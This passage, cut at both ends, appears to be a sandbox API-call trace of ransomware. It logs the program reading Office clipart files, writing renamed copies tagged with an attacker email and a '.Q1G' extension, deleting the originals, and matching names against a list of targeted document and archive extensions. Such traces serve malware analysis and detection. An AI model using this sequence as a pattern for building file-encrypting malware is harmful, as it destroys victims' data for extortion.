office\\clipart\\pub60cor\\j0099172.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0254.635] GetLastError () returned 0x0 [0254.635] ReadFile (in: hFile=0x3d4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xe392, lpOverlapped=0x0) returned 1 [0254.637] WriteFile (in: hFile=0x3d8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe3a0, lpOverlapped=0x0) returned 1 [0254.639] ReadFile (in: hFile=0x3d4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.639] WriteFile (in: hFile=0x3d8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.639] SetEndOfFile (hFile=0x3d8) returned 1 [0254.639] CloseHandle (hObject=0x3d8) returned 1 [0254.639] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.639] SetEndOfFile (hFile=0x3d4) returned 1 [0254.642] CloseHandle (hObject=0x3d4) returned 1 [0254.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) returned 1 [0254.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0254.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0254.643] lstrlenW (lpString=".doc") returned 4 [0254.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.643] lstrlenW (lpString=".docx") returned 5 [0254.643] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0254.643] lstrlenW (lpString=".pdf") returned 4 [0254.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.643] lstrlenW (lpString=".xls") returned 4 [0254.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.643] lstrlenW (lpString=".xlsx") returned 5 [0254.643] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0254.643] lstrlenW (lpString=".ppt") returned 4 [0254.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0254.643] lstrlenW (lpString=".zip") returned 4 [0254.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.643] lstrlenW (lpString=".rar") returned 4 [0254.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.643] lstrlenW (lpString=".bz2") returned 4 [0254.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.643] lstrlenW (lpString=".7z") returned 3 [0254.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0254.643] lstrlenW (lpString=".dbf") returned 4 [0254.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0254.643] lstrlenW (lpString=".1cd") returned 4 [0254.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0254.643] lstrlenW (lpString=".jpg") returned 4 [0254.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0254.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0254.643] lstrlenW (lpString=".doc") returned 4 [0254.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.643] lstrlenW (lpString=".docx") returned 5 [0254.643] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0254.644] lstrlenW (lpString=".pdf") returned 4 [0254.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.644] lstrlenW (lpString=".xls") returned 4 [0254.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.644] lstrlenW (lpString=".xlsx") returned 5 [0254.644] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0254.644] lstrlenW (lpString=".ppt") returned 4 [0254.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0254.644] lstrlenW (lpString=".zip") returned 4 [0254.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.644] lstrlenW (lpString=".rar") returned 4 [0254.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.644] lstrlenW (lpString=".bz2") returned 4 [0254.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.644] lstrlenW (lpString=".7z") returned 3 [0254.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0254.644] lstrlenW (lpString=".dbf") returned 4 [0254.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0254.644] lstrlenW (lpString=".1cd") returned 4 [0254.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0254.644] lstrlenW (lpString=".jpg") returned 4 [0254.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.644] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.644] lstrlenW (lpString="J0099173.WMF") returned 12 [0254.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0254.645] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=37140) returned 1 [0254.645] CloseHandle (hObject=0x3d4) returned 1 [0254.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) returned 0x20 [0254.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0254.645] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.645] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0254.646] GetLastError () returned 0x0 [0254.646] ReadFile (in: hFile=0x3d4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x9114, lpOverlapped=0x0) returned 1 [0254.963] WriteFile (in: hFile=0x3d8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x9120, lpOverlapped=0x0) returned 1 [0254.964] ReadFile (in: hFile=0x3d4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.964] WriteFile (in: hFile=0x3d8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.964] SetEndOfFile (hFile=0x3d8) returned 1 [0254.964] CloseHandle (hObject=0x3d8) returned 1 [0254.964] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.965] SetEndOfFile (hFile=0x3d4) returned 1 [0254.967] CloseHandle (hObject=0x3d4) returned 1 [0254.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) returned 1 [0255.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0255.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0255.084] lstrlenW (lpString=".doc") returned 4 [0255.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.084] lstrlenW (lpString=".docx") returned 5 [0255.084] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0255.084] lstrlenW (lpString=".pdf") returned 4 [0255.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.084] lstrlenW (lpString=".xls") returned 4 [0255.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.084] lstrlenW (lpString=".xlsx") returned 5 [0255.084] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0255.084] lstrlenW (lpString=".ppt") returned 4 [0255.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0255.084] lstrlenW (lpString=".zip") returned 4 [0255.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.084] lstrlenW (lpString=".rar") returned 4 [0255.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.085] lstrlenW (lpString=".bz2") returned 4 [0255.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.085] lstrlenW (lpString=".7z") returned 3 [0255.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0255.085] lstrlenW (lpString=".dbf") returned 4 [0255.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0255.085] lstrlenW (lpString=".1cd") returned 4 [0255.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0255.085] lstrlenW (lpString=".jpg") returned 4 [0255.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0255.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0255.085] lstrlenW (lpString=".doc") returned 4 [0255.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.085] lstrlenW (lpString=".docx") returned 5 [0255.085] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0255.085] lstrlenW (lpString=".pdf") returned 4 [0255.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.085] lstrlenW (lpString=".xls") returned 4 [0255.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.085] lstrlenW (lpString=".xlsx") returned 5 [0255.085] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0255.085] lstrlenW (lpString=".ppt") returned 4 [0255.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0255.085] lstrlenW (lpString=".zip") returned 4 [0255.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.085] lstrlenW (lpString=".rar") returned 4 [0255.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.085] lstrlenW (lpString=".bz2") returned 4 [0255.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.085] lstrlenW (lpString=".7z") returned 3 [0255.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0255.086] lstrlenW (lpString=".dbf") returned 4 [0255.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0255.086] lstrlenW (lpString=".1cd") returned 4 [0255.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0255.086] lstrlenW (lpString=".jpg") returned 4 [0255.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.086] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0255.086] lstrlenW (lpString="J0099187.JPG") returned 12 [0255.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.086] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=24528) returned 1 [0255.086] CloseHandle (hObject=0x390) returned 1 [0255.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) returned 0x20 [0255.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.087] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.087] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0255.088] GetLastError () returned 0x0 [0255.088] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x5fd0, lpOverlapped=0x0) returned 1 [0255.164] WriteFile (in: hFile=0x3f4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x5fe0, lpOverlapped=0x0) returned 1 [0255.165] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.165] WriteFile (in: hFile=0x3f4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.165] SetEndOfFile (hFile=0x3f4) returned 1 [0255.165] CloseHandle (hObject=0x3f4) returned 1 [0255.165] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.165] SetEndOfFile (hFile=0x390) returned 1 [0255.167] CloseHandle (hObject=0x390) returned 1 [0255.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0255.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0255.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0255.169] lstrlenW (lpString=".doc") returned 4 [0255.169] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0255.169] lstrlenW (lpString=".docx") returned 5 [0255.169] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0255.169] lstrlenW (lpString=".pdf") returned 4 [0255.169] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0255.169] lstrlenW (lpString=".xls") returned 4 [0255.169] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0255.169] lstrlenW (lpString=".xlsx") returned 5 [0255.169] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0255.169] lstrlenW (lpString=".ppt") returned 4 [0255.169] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0255.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0255.169] lstrlenW (lpString=".zip") returned 4 [0255.169] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0255.169] lstrlenW (lpString=".rar") returned 4 [0255.169] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0255.169] lstrlenW (lpString=".bz2") returned 4 [0255.169] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0255.169] lstrlenW (lpString=".7z") returned 3 [0255.169] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0255.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0255.169] lstrlenW (lpString=".dbf") returned 4 [0255.169] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0255.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0255.169] lstrlenW (lpString=".1cd") returned 4 [0255.169] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0255.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0255.170] lstrlenW (lpString=".jpg") returned 4 [0255.170] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0255.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0255.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0255.170] lstrlenW (lpString=".doc") returned 4 [0255.170] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0255.170] lstrlenW (lpString=".docx") returned 5 [0255.170] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0255.170] lstrlenW (lpString=".pdf") returned 4 [0255.170] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0255.170] lstrlenW (lpString=".xls") returned 4 [0255.170] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0255.170] lstrlenW (lpString=".xlsx") returned 5 [0255.170] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0255.170] lstrlenW (lpString=".ppt") returned 4 [0255.170] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0255.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0255.170] lstrlenW (lpString=".zip") returned 4 [0255.170] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0255.170] lstrlenW (lpString=".rar") returned 4 [0255.170] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0255.170] lstrlenW (lpString=".bz2") returned 4 [0255.170] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0255.170] lstrlenW (lpString=".7z") returned 3 [0255.170] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0255.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0255.170] lstrlenW (lpString=".dbf") returned 4 [0255.170] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0255.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0255.170] lstrlenW (lpString=".1cd") returned 4 [0255.170] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0255.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0255.170] lstrlenW (lpString=".jpg") returned 4 [0255.170] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0255.171] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0255.171] lstrlenW (lpString="J0099190.JPG") returned 12 [0255.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0255.182] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=43892) returned 1 [0255.182] CloseHandle (hObject=0x338) returned 1 [0255.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg")) returned 0x20 [0255.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.219] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.219] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0255.220] GetLastError () returned 0x0 [0255.220] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xab74, lpOverlapped=0x0) returned 1 [0255.248] WriteFile (in: hFile=0x3f4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, 